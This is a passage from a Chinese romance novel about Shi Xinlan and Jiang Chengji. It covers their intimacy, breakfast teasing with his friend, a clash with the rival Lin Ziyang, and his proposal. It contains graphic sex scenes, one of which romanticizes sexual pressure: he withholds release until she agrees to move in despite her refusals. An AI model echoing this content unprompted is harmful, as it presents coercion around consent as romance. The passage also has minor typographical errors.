看到他眼中闪着邪恶的亮光,石馨兰觉得自己绝不能就这么屈服,但是江承辑却充满侵略性,企图用他的男性力量一步步的粉碎她女性脆弱的防备。 好奇怪,她怎么突然觉得他们这一场亲昵的肢体接触好像在较劲似的,若是她屈服于他的魅力之下,就得任由他为所欲为了,她可不想输得那么惨。 可想归想,她的身体却先背叛了她的理智,只因他采取了更热情的攻势。 他一手按住她的头,使得两个人的吻更深、更强烈,另一手则采入两人紧贴的身躯之间爱抚着她的酥胸,引来她的身子不自觉的颤抖。

“不可以……”

她想阻止,无奈在他邪恣的亲吻及爱抚下,感觉到自己的理智竟逐渐的脱离;她被阵阵传来的电流惹得想要呻吟出声,却硬是咬着下唇不叫出来……

她不可以就此屈服,要不然的话后果不堪设想。

可是她的身体却抗拒不了,这是她没有预料到的,她忘了把自己对他的感情与欲望算进去。

毕竟经过这些日子来的相处,她已经对他有一种难以否认的情感存在,她知道,若非自己已在情感上认定了他,也不会把自己给了他。

只是,要他们一起同居,这一点她到目前为止还没有办法接受、适应,并不是她矫情,他们之间都已成了亲呢的爱人,只是她要确定的是,他对她究竟抱持着什么样的感觉?

或许她什么话都敢和他说,就唯独这件事她问不自,或许她是害怕吧!害怕自己听到的答案并不是她想要的,像他这样在各方面都十分优秀的男人,围绕在身边的女人还会少吗?

石馨兰害怕的是,若是与江承辑同住,等哪一天他不要她、厌倦她了,那她还能剩下什么?与他朝夕相处,害怕的是自己的心……那颗早已为他悸动、沈沦的心,会因为习惯的依偎而眷恋上他,到时候怕的是她的离不开、舍不得、放不下!

恍恍惚惚间,衣服已离开了她的身体;他的大手不安分的在她的身上游移,令她整个人如火烧般的难受,而他的动作之中更夹带着要她屈服的执着。 他的唇依依不舍的离开她的唇,沿着细致的肌肤来到颈项,然后来到因被他挑逗而挺立的乳尖上,低头张口含住,贪婪的吸吮着。

“告诉你……快放开我……这样没用的……我不会答应……”她试着表明自己的立场,并且尽可能不去理会当他的大手及舌头挑逗拉扯着她敏感的乳尖时,所传来的阵阵欢愉及舒服感。

他抓住想要缩身离开的她,并用指尖轻轻在粉红色的乳晕绕圈圈。

“我会让你答应的,而你也非答应不可,因为……”他在她瞪大的眼睛底下,慢慢一字字的说着:“我不会放开你。”

他脸上闪着的坚决神采让石馨兰看呆了,而他却坏坏的趁此机会捏了下她敏感的小乳尖,让她忍不住惊喘一声。

“你……为什么?”她迷惑了,不懂他为什么这么坚持要她留在他身边? “你难道还不懂吗?”他说着令她无法理解的话,在她还来不及进一步追问前,就低下头含住她诱人的小蓓蕾,并且在两边轮流舔弄、揉捏,还用牙齿轻啮。 “不……不懂……噢……”她觉得自己好难受,忍不住神情迷离的在他的怀里不断的叫着。

“我会让你懂!”他才一说完,大手就摸向她雪白匀称的大腿,不断在她光滑的肌肤上游移,引来她体内一阵阵战栗的酥麻感。

当他的手碰到她的敏感地带时,她的手指深深的掐进他的手臂,身子娇媚的扭动着,那样子真是性感极了。

“你好美………”他的声音带着粗哑欲望,原本在这种性爱场合,他从不会对女伴发出任何的评语,可是石馨兰对他而言,却有着不一样的情感,十分特殊的感觉,让他忍不住出口赞美她,只为了想要让她知道自己对她的感觉,只想要取悦她,并在她的身上落下无数似火焰的吻。

“嗯……承辑……”她忘情的唿唤着他,双手紧紧的抓着他的手臂,仿佛一放开她就会沈溺在无尽的欲海里。

“想要我吗?”江承辑望着她迷醉的神情,那朦胧的美眸令人心神荡漾,激情难耐。

“我……嗯……”她好不甘愿,为什么在他的挑逗之下,她总是无法抵抗的臣服?

他见状微蹙眉头,不相信自己的魅力不能使她屈服,他想要她的心已经坚决到连自己都惊讶的地步。从来没有一个女人可以让他如此执着、坚决的想要把她留在身边,怎样都不肯再放开来,一开始的计画与想法,再也无法回到最初的目的,全都走了调……

江承辑故意低下头将她因为身子颤动而晃动的乳房含住,并用力的吸吮着,双手也恣意而狂野的游走在她那敏感的女性柔软处,不断的挑起她体内最深处的欲望,让她无法自抑的呐喊出声,摆明了要让她意乱情迷,无法再反抗。 果然,她再也受不了的开始哀求他,并且激动的主动抱着他的脖子,热切的吻着他的颈项,引起他身子一阵阵的战栗。

该死的!在他刻意挑起的缠绵之中,为的只是想要她的屈服,但他没想到,自己也是这场缠绵之中的投入者,早已屈服在她魅力的性感之中无法自拔。 江承辑再也无法克制自己的欲望,迫不及待的让她的双腿绕住他的腰,将早已蠢蠢欲动的欲望中心埋入她的体内……

当两人陷入激情的洪流之中时,江承辑可没有忘了自己的目的,他向她讨着承诺。“馨馨。”

“嗯……”她散涣的眸光因欲情而无法集中,迷离的脸庞泛着激情的红霞,不由自主的应和着他的唿吸。

“答应我。”他的双手用力的揉着她的双峰,不断的律动着。

石馨兰情不自禁的随着他的动作摆动着身体迎合,在模煳的意识里感受到他的话语。

她迷惑的问道:“答应……什么?嗯……”她的脑筋根本就无法思考,也无法清楚的知道他到底在说些什么,之前讨论的事早就被她抛到九霄云外,现下唯一的感官与注意力,全都放在这个与她合为一体的亲昵男人身上。

真的好舒服。渐渐失去理智的石馨兰只觉得那种飘飘欲仙的销魂感越来越强烈,红嫩的小口除了喘息外,连说话都觉得费力,只有一波波的高潮淹向她,令她尝到美妙的滋味。

“和我一起住下来。”

“不……”她想要拒绝,但是他却不许,十分恶意的逗弄着,在她几乎要达到高潮之际,竟然吊足她的胃口,怎样都不愿再有进一步的动作,就这样静止在她的体内,让她难耐的想要扭动自己的身体,但他却紧紧的箍制住,让她无法动弹。

她怨怼的瞪着他,气他不让她得到满足,这种感觉真的很难受。

他似乎要和她耗到底般的不动如山,执意要得到自己想要的,“一个字。” “不!”她的话才一出口,他就十分可恶的在她身上燃起一连串的火焰,但怎样都不肯满足她,让她强烈的感到空虚感在体内扩张开来。

“一个字!”

可恶!可恶,她不想这么没志气。

他突然咬了她的耳朵一口,故意在她敏感的耳旁吹气,对她低语:“我喜欢你……想要醒来时看到你睡在我的身边,想要抱着你入眠……”他性感的在她的耳旁低诉着对她的渴望。

他好奸诈,怎么可以用这招来诱惑她!明明知道男人的甜言蜜语都是不负责任的,又不必缴税金然后又只能相信一半,可她还是傻傻的因为他这些话而动了心,傻傻的就……

“好。”该死的!她的嘴巴为什么要这么快?

可是,他却敏锐的听到,并且马上眼睛一亮,在她的唇上印下一吻,在她体内沈静的欲望开始动了起来,犹如猛蛇般的,更快速的顶入她的体内深处…… 明亮的阳光透过窗外照进室内,原本静寂沈闷的偌大餐厅,此刻却洋溢着笑闹声,在这间别墅工作的下人都不禁露出讶异却会心的笑容。自从那个女孩搬进来后,这种情形还是第一次发生,他们也是第一次看到主人的笑容,心里都一致认定那个女孩对主人一定很重要。

“你怎么可以这样?那是我的蛋!”石馨兰坐在江承辑的旁边,抗议着他伸出长手趁她不备之际,将煎得金黄、令人垂涎三尺的荷包蛋,抢过来塞人自己的嘴里,那是她吃了一半的蛋耶!

“我这是以其人之道还治其人之身,懂吗?”他淡笑着说,还一边慢条斯理的咀嚼着抢过来的蛋,故意露出满足好吃的神情让她气得哇哇叫。

“你、你……”石馨兰被他的这番话气得要命,可又反驳不出个所以然来。 因为事实是刚用餐时,她吃的是荷包蛋、两片吐司、橘子汁,而他则是葱炒培根碎肉、两片吐司和咖啡。见他的早餐看起来如此美味,她就忍不住偷袭了他的培根肉,他错愕的瞪了她一眼,而她则给了他一记洋洋得意的眼神,现下他报复回来了,她能说什么?

狠狠的瞪了他一眼,她的眼眸偷瞄了他盘中的食物一眼,筷子迅速的又往他的盘子伸去,这次他却动作迅速的用自己的筷子拦截住她的。

“噢!”她失望的叫了一声,眼看自己的企图被他识破,不过她还是不放弃的与他缠斗。

只见餐桌上两双筷子不停的飞舞着,一来一往的谁也不让谁,两人的嘴角因为这样的举动而飞扬了起来,最后是江承辑将盘子高高的端起,让她拿不到。 “小气!欺负人!”眼看自己拿不到,石馨兰故意嘟着嘴嘟哝。

在一旁的源伯因为这幕而看傻了眼,天啊!这是什么情形?一向成熟世故冷漠的少爷竟然会有这种幼稚可笑的举动,真是令他不敢相信。

江承辑却因为她的话而笑着。他将盘子放在桌上,然后夹了满满一筷子放到她嘴边。“来,我喂你,啊!”他要她张开嘴。

石馨兰却以着怀疑的眼光看着眼前的食物。“真的要喂我吃?”

在餐厅人口有一个不速之客,那就是沈天擎,他拿了一份新的企划案想与江承辑研究,没想到却看到了一出比电影还好看的戏,他不作声的看得津津有味。 江承辑举起另一只空的手轻敲她额头一记。“你那是什么眼神?还敢怀疑我?”看她还是一脸呆愣的表情,他故意捉弄她,“好啊!既然你不吃,那我就自己吃罗!”他慢慢将手缩回来。

“要啦,要啦!”看他有收回之势,她将整个身体都倾向他,嘴巴靠近食物张嘴就一口吞进去。

“好吃吗?”看她吃得一脸满足的神情,他笑着问。

“嗯。”顾着咀嚼的她,随意应了一声。

“哪!”他再次喂了她一口。“换你了。”

“啊?”她不解的问。“换我什么?”她擡起不解的眼眸望着他。

“换你喂我吃了。”他指了指眼前的东西。

“喔!”她应了一声,拿起筷子将食物夹起往他嘴里送。

江承辑在筷子送入他嘴里时将之含住,慢慢的吃进去,眼神紧紧地锁住她。 她心里不禁一颤,见他眼神里含着浓浓的情欲,动作里隐含着仿佛她是食物被他吃掉般的暧昧煽情,令她的心跳加速,脸霎时热了起来,她连忙移开视线,将筷子收了回来。

自从昨天被他的甜言蜜语哄得同意和他同居后,她就开始适应身边多了一个人睡在一旁的感受,她看着他沈睡时的脸庞,讶异的发现原来这个看起来冷漠沈稳的大男人,竟然在睡着时,随着脸部线条的柔和而显得孩子气,那副样子看起来让她心生疼惜,好想将他搂在怀里……

这个男人已经在不知不觉之中唤起了她女性最深沈的感情与柔软,从没想到自己竟然也可以对一个男人这么的眷恋、喜爱,她的情绪竟会随着他的一举一动与表情言语而产生变化。

噢!老天!抚着他五官的纤纤玉手,竟然在领悟到自己对他的感情不再只是喜欢,而是深深的爱意时僵住无法动弹,看着他良久后才又动了起来,温柔地、眷恋的缓缓滑动。充沛的感情宛如开了闸的洪水般,涌向她的心,让她无力招架,也不想去忽视。

爱意明明白白的就在那里,在她第一眼见到他时,就对他有了不一样的情愫,要不然她也不会反常的只喜欢和他大唿小叫,完全找不到自己平常的修养。 但,在明白了对他的感情之后,她反而正视了现实的残酷,因为她根本就不确定他对她究竟怀有什么样的情感。他说过,他喜欢她,但那不是爱,从他那双冷静无情的眼眸里,她看不出一处处的爱情。

或许,他现下可以轻松自在的与她调笑,但那并不代表爱,因为自从她发现自己对他深深的爱意后,便再也无法用原先的态度来对待他,总是不自觉地就对他有一份特殊的关心与爱护,她想要照顾他,更在乎他的一切,想知道他的所有。 只是,她敏锐的察觉到,在他身上有一种疏离的气息,那是任何人都无法横越的,更不让任何人窥探。她聪明的知道,那就是他灰暗的禁忌界限,但这样的他,反而让她心疼,真的好心疼……

她心疼他要如此辛苦的守护着自己的心,不让任何人进入也不让任何人伤害,这样好辛苦、好累……但她却又无能为力。

所以,她决定要给他快乐,纵然她能给的未必是他想要的,但她希望让他明白,还有她……在这世上还有一个她,是真正无私的关心他,只希望他快乐。 虽然明白他总是在她的眼神不经意的瞄向他时,会有意无意的以炽热的眼神挑逗着她,令她全身无力、不知所措,但她却不懂这其中到底有没有爱的成分。虽然她不讨厌他以占有的眼光看着她,可她真想大声抗议,请他在她吃东西时不要这样紧盯着她,这样可是会令她胃口全失的!

“你是要让我减肥吗?”

她没头没尾的冒出这句话,令江承辑原本含情的眼眸马上转变为迷惑。 “什么?”他不解的问。

石馨兰将自己刚才心里的想法全都告诉江承辑,他却揶揄的笑着,而他的笑声令她觉得刺耳极了。

“我承认我是喜欢看到你笑,不过却不是这种奸诈又讨人厌的笑。”她不客气的道。和他在一起的这几天,她可以感受到他的笑容是发自肺腑的。

他整个脸部线条明显的放轻松,连眼底都可以看见笑意,可是她才不愿自己成为他取笑的对象。

真好,从来没有人敢在他面前骂他奸诈,她却一再的这么做,于是他对她戏嚯的说:“我怎么舍得让你饿肚子?何况……”他靠近她耳边低语:“我享用过你以后觉得正合我意,每一寸都刚刚好,所以不需任何的改变。”

他煽情的言语令石馨兰红了脸颊,连耳朵都烧红了起来,她不依的推了他一把,另一手则煽着自己发热的脸。噢!真是讨厌,如果他常这样不正经的对她做出一些暗示性的举动和说出一些暖昧的话,她肯定会是第一个因为脸红而热死的人,到时候肯定丢脸死了。

如他预期,她因为他的这番话又脸红了起来,她的神情娇羞而迷人,她的举止柔媚而动人,要不是因为在餐桌前,他还真想将她拥入怀里再度好好疼爱一番。 “哇!今天还真热。”沈天擎看着他们的举止,简直亲呢到无法无天的地步,忍不住开口调侃。

听到声音的江承辑擡起头看见是他,不悦的皱起眉头来,“谁教你来这里让他热的?活该!”他没好气的对沈天擎i必。真是扫兴的家伙!

“耶?你这样说就不对罗!”沈天擎伸出一指摇了摇,然后指向站在一旁涨得一张老脸通红的源伯。“我可是为了源伯着想,怕他年纪大了,若因为你们之间的热度而高血压,那对他就不好了。难得有这么忠心的人待在身边伺候,我当然得替他着想罗!”他嘻皮笑脸的对着那张不悦的脸掰道。

“那倒是谢谢你喔!”他语气不善的反讽。

“甭客气!谁教我们是那么多年的老同学。”沈天擎三八的对他挤了挤眼,然后抛了一记充满电波的促狭目光给石馨兰,惹得石馨兰更是不好意思,也着实的招来另一记杀人的目光。

沈天擎丝毫不以为意的笑着说:“好啦,今天就到此为止吧!不过,说真的,老友,看来你的动作真的很快!才来你这里住几天,就将人家吃干抹净!”他不怕死的再度说出最后那句暧昧的话,又三八的将手放在嘴上做出抹嘴的好笑举动。 石馨兰虽然因为他的这个动作及言语而脸红得像晚霞般,但她依然坦率的问出心里的疑问:“咦?你怎么知道?那是昨晚的事,而且他都和我在一起,我也没看见他和你通电话,你是怎么看出来的?”

石馨兰这番天真坦白的话语令江承辑黑了脸,沈天擎却大声笑了出来,心里暗自叹道:好个天真坦率的姑娘,难怪老友会爱上她,动作里更对她有着无尽的宠溺。

源伯虽然也想笑,可却憋着不敢笑出来,他真羡慕沈先生可以这样大胆的笑出来,而不怕少爷黑了脸。

“哈哈……”他一边笑一边说:“因为你现在自己承认了,刚才我只是猜测罢了!”他说完后再度笑得不可自抑,连身体都站不直。

听懂了他的话,石馨兰真恨不得有个地洞可以钻进去。该死,她何必自己承认!

她站了起来。“可恶!怎么可以让人家上当?哼!奸诈小人。”她骂了他一句,狠狠的瞪着他。

第六章

“什么?”沈天擎不敢置信的挖着耳朵,看着眼前恶狠狠瞪着他的女人,然后夸张的捧着心,伤心的道:“哇!你伤了我的心,竟然说我是奸诈小人。” “本来就是!难怪你和承辑会是好朋友,因为你们都只会使这种小人步数来让我上当,所以你们都是奸诈小人。”

这下子,不只是沈天擎惊愕得说不出话来,就连源伯都吓得下巴快要掉下来了,竟然有人敢当着少爷的面前骂他?但见少爷那张黑得不能再黑的脸,以及似乎有向石小姐的方向冲去的打算,他正不知该如何是好的时候,那闯祸的小妮子竟然再度语出惊人。

“哼!有什么好瞪的,不怕眼珠子掉出来?难道我说的不对吗?想要人家留下来,竟然用那种……那种……”她突然说不下去,想到那火热缠绵的画面与甜言蜜语的低语,她的脸飞上红霞。

“那种什么?馨馨。”江承辑简直不敢相信她竟然敢把他们的事说出来,语气中有风雨欲来的倾向,若是她真的敢说出来,他就要狠狠的打她的屁股。杀人般的目光先射向在一旁笑得不知死活的沈天擎,然后才又瞪向她。

她现在才迟钝的发现自己的错误,连忙哀叫三餐,看都不敢去看站在她面前极具威胁性的江承辑,突兀的推开他,跑出餐厅,在经过沈天擎身边时,即使红着脸,她还是丢下了一串话。

“笑笑笑!最好笑死你,哼!”然后再转头朝江承辑丢出一句话:“用那种骗死人不偿命的甜言蜜语来哄我,怎样?”她大胆的朝他扮了个鬼脸才跑出去。 江承辑原本想要追出去,可是在看到好友笑成那副模样时,反而将怒气往他身上发,咬牙切齿地道:“你来这个地方最好有个理由,不然你就完了。” 噢喔,看来他要玩完了!不过沈天擎对自己可以看到江承辑和石馨兰之间的进展神速而感到值回票价。“承认吧!你爱上她罗!”

江承辑耸耸肩不予置评,既不否认也不承认,只是对他威胁道:“要不是你是我重视又患难与共的朋友,我会杀了你。”他指刚才沈天擎故意的调侃。 “真吓死我了!”沈天擎故意拍拍胸口,装作害怕的样子,他知道好友对他总是嘴巴上威胁,实际上根本不可能那样做;如果承辑要让一个人生存不下去,根本不必诉诸言语。

看到江承辑又用力的瞪着他,沈天擎突然正经的道:“我看得出来她是个适合你的女人,承辑,你真的要把她给拖入这场计画之中吗?”沈天擎打从心底欣赏她,并感激石馨兰让江承辑重生,仿佛脱胎换骨般的成了一个崭新的人,成为一个真正会笑、有血有肉的人。

他一直以为承辑就要这样过一辈子,成为有躯体却没有热度的人,无血无泪的过完一生;可石馨兰做到了,而且轻易的闯进他的心,进驻他的生活中。 也许有一天,江承辑愿意将在日本发生的事告诉石馨兰,也愿意主动将他父母的事亲口告知。

只有向他所爱的人倾诉,得到支持兴抚慰,才能让他永远挣脱如禁锢般的束缚,求得心灵的平静与解脱。他看得出来那只潜伏、盘踞在他心底深处狰狞的恶龙还没有离去,这样的他,是没有办法成为一个真正有血有肉的正常人的。 “这是我的事。”江承辑不想让沈天擎看出更多,也不想去承认石馨兰在他心中究竟占有多重要的位置,现下唯一该想的,应该是他的计画才对。

明白他的意思后,沈天擎没有执意往下追问,只是叹了口气。只要是江承辑做下的决定,根本就没有人可以改变,他只是希望江承辑不要后悔就好,于是沈天擎只好顺着他移转的话题回答:“我有个新企划案要你过目一下。”

“到书房去。”他站起来率先走了出去,“源伯,倒两杯咖啡进来。” “是。”源伯应了一声,马上去做事。

走在他背后的沈天擎又冒出另一句话:“别怪我多嘴,别因为往日的痛苦经验而伤害她,我知道你绝不会那么做,不过你脑海里固有的观念却可能会。”他看得出石馨兰虽然天真冒失,外表坚强不服输,可表面下却是个脆弱的小女孩,在爱情的领域里还是生手,恐怕和江承辑在一起会跌撞得伤痕累累,到时只盼她能坚强的坚持下去。

江承辑的脚步因为他的话而顿了一下,两手紧握,没有回应的再度往前走。 沈天擎没有再多说什么,因为他知道江承辑听进去了。这一切只能靠双方自己去维系,毕竟这是他们两人的感情,他这个好友只能在一旁关心提醒,根本没有办法插手。

希望在那老头回来前他们的感情能坚若磐石,沈天擎在心底如此希望着,两人的感情若够深厚、彼此信任,那么那老头绝对无法拆散他们。

江承辑依然没有回应,此刻的表情在没有石馨兰在侧时,回复了一贯冷漠、高深莫测的神情。

石馨兰高兴的跳着舞,心情愉悦的跳跃着。

两个小时后,她在舞蹈社里冲完澡就准备回去,这几天也许是因为她的心情好,所以练起舞来也格外的顺利,想到江承辑,她的嘴角、眼底闪着笑意,亮着炫丽迷人的光彩,整个人神清气爽。

“小馨,想什么想得这么高兴?连魂都不知跑到哪里去了?”另一个教舞蹈的老师,拍拍她的肩问。

“没什么。”石馨兰笑着不想和别人分享她的快乐,“对了,小莉,教完舞怎么还不赶快回家,待会儿你的亲密爱人又要来电催你罗!”她打趣的调侃她。 张可莉是个大四生,一边打工一边念书,晚上就来舞蹈社教舞赚取生活费,她的男友是个社会人士,两人同住在一间房里。

“哎哟!别这样说。我是想今天是我的生日,我约了几个朋友,也想要请你一块去庆祝一番。”

“什么?”她连忙推拒,“我不行啦!”石馨兰想到江承辑在家等她用餐,而且她根本不想参加这种聚会,宁愿和他多相处来得快乐。

“别这样,你一定要去!今天可是我的生日,平时要约你出去,你都说要赶回家和父母一起吃晚饭,我也从没勉强过你,小馨,拜托嘛!”张可莉做出一个祈求的手势,一脸哀求的望着她,“人家难得的生日,连这点面子都不卖,还亏我们是朋友!”

“我真的不行。”看到张可莉这样子,虽然很为难,可是石馨兰心里还是挂念着江承辑。虽然她活泼大方又开朗,可是不习惯与人太过亲近,总认为好过头会不知分寸,这样反而会有一些不愉快的摩擦。

所以,她总是做那个倾听人说话的人,至于她对江承辑的态度,则是因为她认为既然他是她的亲密爱人,也是她最爱、最在乎的人,她便希望自己和他可以像父母那样无话不谈,成为彼此的知己和一辈子扶持的好伴侣,这才是她愿意放下心扉的原因吧!

看她一脸为难的模样,张可莉也不想强人所难,但受人之托就得忠人之事,尤其他又是她亲密爱人的顶头上司兼好友,若是连这点忙都无法帮上,那不是太不够意思了吗?

“那你去一下子就好,露个脸,也算是给我个祝福嘛,好不好啦?”她再度求着她。

看她一直游说,石馨兰实在不好意思再推却,考虑了一会儿,“好吧!看在你的面子上,我去一下子就好,你等一下,我打个电话再和你一起走。” 就这样,她打了个电话给江承辑,要他不用等她吃饭,交代了她的去处就和张可莉一块走了。

可是石馨兰万万没想到,到了那里竟然只有张可莉和她的男友,以及一个陌生的男人,顿时让她的脸色变得有些难看,尤其那个男人对她的企图不言可喻,虽然她不得不承认他是个出色的男人,可是,她却已心有所属。

林子扬是Opale家族企业在台湾的执行总裁,长得英俊又多金,是十分有价值的黄金单身汉。

倒追他的女人一大堆,他却像个风流的花花公子般,在女人堆里十分吃得开,却从未对哪个女人认真过,像他这种男人,是石馨兰十分厌恶的类型。

虽然石馨兰可以看出他的谈吐不俗、仪态绝佳,但他脸上阴沈又狠绝的表情,显露出他是一个十分不简单的人物,她总觉得他对她显露出来的兴趣,绝没有表面上的单纯,只是她不知道林子扬究竟想要做什么。

而在他的坚持及张可莉早就和男友走掉的情况下,石馨兰只好让林子扬送回家。

当她转头向他道谢时,他却大胆的在她的颊上快速的印上一吻,还在她惊愣的望着他时,一脸深情的告诉她:“我会再打电话给你。”

对于他突兀的动作,回过神来的石馨兰心中升起一丝不满,强压抑住自己不悦的情绪,语气显得礼貌而疏远:“我们开门见山的说吧,你到底想要从我身上得到什么?我并不认为这么单纯的我会有什么可以让你想得到的东西。” 谁知,林子扬一听见她的话,随即笑了开来,然后伸手想要抚上她的面颊,却被她不客气的拍开,并恶狠狠的瞪着他,他却毫不在意的笑了,“你确实很聪明,你那次在公开的宴会上对江承辑所表演的那一手很漂亮,所以,我对你很有兴趣。”

“只可惜我对你没兴趣。”石馨兰不假辞色的对他,她总觉得这个人身上有一种邪气,让人浑身不舒服。

“我知道,你只对江承辑一个人有兴趣,否则……”他突然往后面那栋别墅瞄了一眼后才道:“你就不会和他同居了。而我就是因为你是第一个和他同居的女人,所以我才会对你有兴趣。”

“神经病!”她骂了他一句,转身就想要离去,谁知他却从后头一把拉住她的手臂。

“做什么?放开我!”

“别挣扎了,我当然会放开你,不过在放开你之前,我想要先做一件事……”林子扬早就从眼角瞄到一道高大的身影正往他们靠近,于是他低头想要攫获她的唇,没想到却疼得弯下腰,然后以着一脸不敢置信的表情看着她。

原来,在发现他的企图时,石馨兰早就准备好要反击,于是她屈膝用力朝他的两腿中间一顶,然后在他痛得低下腰之际,又用力的踢了他一下,恶狠狠的死瞪着他看,当然不忘退后一大步以远离他。

“哼!你这个混蛋加三级的大色狼,竟敢占本姑娘的便宜,还把我当成一个随便的女人?告诉你,你那张烂嘴碰了我,我还怕得病呢!你最好离我远一点。” 林子扬从来没想到江承辑竟然会喜欢一个这么泼辣的女人,更出乎他意料之外的是,石馨兰的举止完全和她那出身良好家世的高贵淑女气质一点都不符合,真的是人不可貌相,他在心底开始怀疑,江承辑真的会看上这样的女人吗? 这时,江承辑的声音却从他们的身后传来:“林子扬,你是吃饱没事做吗?” 他的话让林子扬轻轻的笑了起来,“你说呢?”他睨了石馨兰一眼,故意用着极为刻薄的话对他说:“我看你最好小心一下自己的名誉,像这种只会丢了男人面子且带不出场的女人,我建议你早点甩了好。”

“是吗?”江承辑的嘴角含着一抹冷笑,走到石馨兰的身边搂着她的纤腰道:“我看你是酸葡萄心理,因为你这个在女人堆中一向吃得开的风流男人,竟然会栽在一个女人的手里,这种事若说出去,真不知是谁的面子挂不住,你还是担心你自己吧!”

“哼!”他无礼的上下打量着她,然后对他道:“或许她是长得还可以,不过若要带出去的话,我觉得你应该叫她合嘴,或许这样……”

他的话还没说完,就被石馨兰的大吼声给阻止。“你才给我闭嘴!你这个登徒子,不要脸的下流……”一连串骂人的话,从她那张小嘴里不断的冒出,精采的程度简直令人叹为观止。

直到她骂累了,才停下来喘口气,恶狠狠的瞪着林子扬,却惹来他的大笑,然后用着十分同情的目光看着江承辑。

“可怜!真没想到,我不过是一时好奇想要会会你的女人,却……有趣,真是有趣。”他忍不住摇摇头。

“你笑够了吗?你这个……”谁知,江承辑却用手掌盖住她的嘴巴,并对林子扬道:“快走吧!你这个流连在女人准而得花柳病的臭男人!”江承辑的语气里有着可疑的笑意,要这个在商场上表面和他是敌人、私下却是最好的朋友的林子扬快点离去,因念他是无法在石馨兰的口下讨到半点便宜的。他太清楚石馨兰的性子,平常是一副活泼又好说话的模样,可是一旦惹上了她,她绝对会展现可怕的泼辣爆发力,让人叹为观止。

像石馨兰这种隐藏在心底的可怕爆发力,有时还真令他啧啧称奇,女人有时翻脸比翻书还快,他可是在她身上印证了这项理论。

“江承辑!”林子扬十分愤怒的叫着他的名字。他算什么多年的私交好友?竟然敢把那个恰北北刚才骂他的话又复诵一遍,真是……

“我这可是为你好。”看着在他怀里挣扎的石馨兰,因气愤而涨红的脸看起来真是诱人,晶亮的眼眸因生气而发光,看起来真是美极了,让他情不自禁的想要将她拖回房间,好好的疼爱一番。

他警告的话让林子扬瞬间眼神一闪,突然露出奸诈的笑容,“好吧!这笔帐我就记在你的头上,别忘了,表面上就照我们的约定,我帮你追回,不过私底下,我要整个Opale。”

“快滚吧,你这个大老奸。”

他朝他挥了挥手,“别客气了,你这只老狐狸。”林子扬不客气的反击,然后在临上车前又对他说了一句:“啊!别说我这个老友没意思,先奉劝你一句,好好的搞定这个女人,要不然接下来……可有你受的。”

抓住被他抱在怀里又踢又踹的石馨兰,江承辑的嘴角忍不住嘲讽的扭曲,“看来,天擎那个大嘴巴什么都告诉你了。”

“那个日本女人可不是那么好打发的,我先在这里祝福你好运罗!”他再看了石馨兰一眼,然后忍不住摇摇头露出一脸笑意。看来,他特地跑来认识的女人,确实与沈天擎所说的一样有趣,他相信,她绝对有那个能力可以给好友带来幸福,这样他就不必再替江承辑担心了。

当林子扬的车子远去后,江承辑这才放开石馨兰,并拉着她的手往屋内走去。 来到房间后,石馨兰十分不高兴的瞪着他,“喂!我问你,你们在说什么日本女人?那是谁?”

听着她充满醋意的质问,江承辑的心底其实是有一份愉悦的,她在吃醋,他看得出来,以石馨兰的脾气和个性,若是和松版花玲相处一室,那画面……他忍不住摇摇头不敢想下去,不过他并不打算任由松版花铃来欺负她。

这种保护她的念头非常的强烈,连他自己都十分讶异,或许她已经是他的女人了,所以保护自己的东西是每个男人都会去做的事,看着她那张不悦的娇容,或许他该透露──点事让她知道,免得她连敌人是谁都不知道,就得临时应敌。 可是,江承辑又担心这样子会影响到自己的计画,他犹豫不决的蹙紧眉头,第一次举棋不定,他是该顺着自己的计画走好扳倒那个老家伙,还是该好好的把握住她?

“她是一个不重要的女人,你不必费心去想。”

“但……”石馨兰总觉得有哪里不对劲,要不然林子扬就不会特别把她提出来,她的个性虽然迷煳,但是女性敏锐的直觉还是存在,他刚刚的眼神明明有些通优,表示江承辑有事瞒着她。

正当她想要开口再询问他时,江承辑却不知在何时已闪身到她的面前,并以着亲昵之姿一手搂着她的腰肢,对她道:“什么都不要想,只要想想这个就好了。”

他诱惑的低语迷惑了石馨兰,她总是无法抵抗他散发出来的魅力。

看着他那双原本冷漠无情的眸子在这一刻闪动着炽热的火焰,她随即明白他想要的是什么,忍不住脸颊一阵羞红,却主动图上他的脖子,并在江承辑低下头吻住她之前对他道:“承辑,我最讨厌有人欺骗我。”

正想吻上她芳唇的江承辑突然顿了一下,脸上有着古怪的表情,下一刻却不发一语地狂肆的吻住她的唇,唇舌交缠之间,让她也燃起了如火般的欲望。 “嗯……”

江承辑灵活的舌逗弄得石馨兰瘫软在他的怀里,整副心思都随着他的亲吻而舞动,她感到一阵天旋地转,柔软的娇唇传来一丝近似快感的疼痛,肺部的空气仿佛就快要被他的吻给榨干,取而代之的是一股难以排解的焦急火热…… 于是,他的热情,她的主动,让他们狂野的滚上了床,她的唇吻上了他精壮的胸膛,并极尽挑逗之能事的舔舐、啃吸,如玉般的双手也肆无忌惮的在他的身体各处游走,激起他更狂肆的反应。

江承辑迅速的加以反击,猛烈的吻、激缠的苦与撩拨的爱抚,让石馨兰无法控制的呻吟出声。

他的舌尖吸吮着她唇间的甜美,不让她有撤退的空间,而她则同样对他有着深切的渴求。

男性的厚实大手缓缓游移在她身体各处,燃起的火焰几乎要让她融化,燥热不堪的身子不安分的扭动着,直把压在她身上的男性躯体挑逗得无法自抑。 他低吼一声,半跪起身,让他汗湿的胸膛熨贴上她光滑白皙的裸背,左手大张满满地盈握住饱满的胸乳,尽情地揉捏。

他的右掌则在此同时袭向她女性敏锐柔嫩的中心点,恣意的挑拨、揉按,然后一个挺身自体后贯穿,凶猛地撞击着。

他有力的在她体内移动,直到两人都到达极致的高潮……

疲惫感很快的席卷石馨兰,让她昏昏欲睡,在背后抚摸的大手,让她的嘴角扬起一抹甜美的笑,却在听到他在她耳边的低语时,僵住了身子。

石馨兰反应极大的一下子就从床上弹跳而起,不敢置信的神情在她脸上绽放、一双眼眸瞪得如铜铃般大,“你……你说什么?”她微颤抖的手指着他,语气里净是无法相信。

“嫁给我。”

“啊!”一声尖叫划破寂静的空气,显得突兀而刺耳。

江承辑忍不住皱起眉头瞪着她看,难道要她嫁给他,令她这么难以接受到宛如承受了什么打击吗?看她似乎没有停止的打算,他不得不开口嘲讽:“怎么?你现在是在练习自己的肺活量吗?”

可惜的是,石馨兰对他的讽刺之语毫无反应,反而突然一把跳到江承辑的身上,双手激动的捧着他的脸庞,用着十分严肃的语气对他道:“你刚刚说什么?再说一次!”

“我说,嫁给我。”

或许是受到的刺激太大,她一脸的睡意全被惊吓给赶跑。

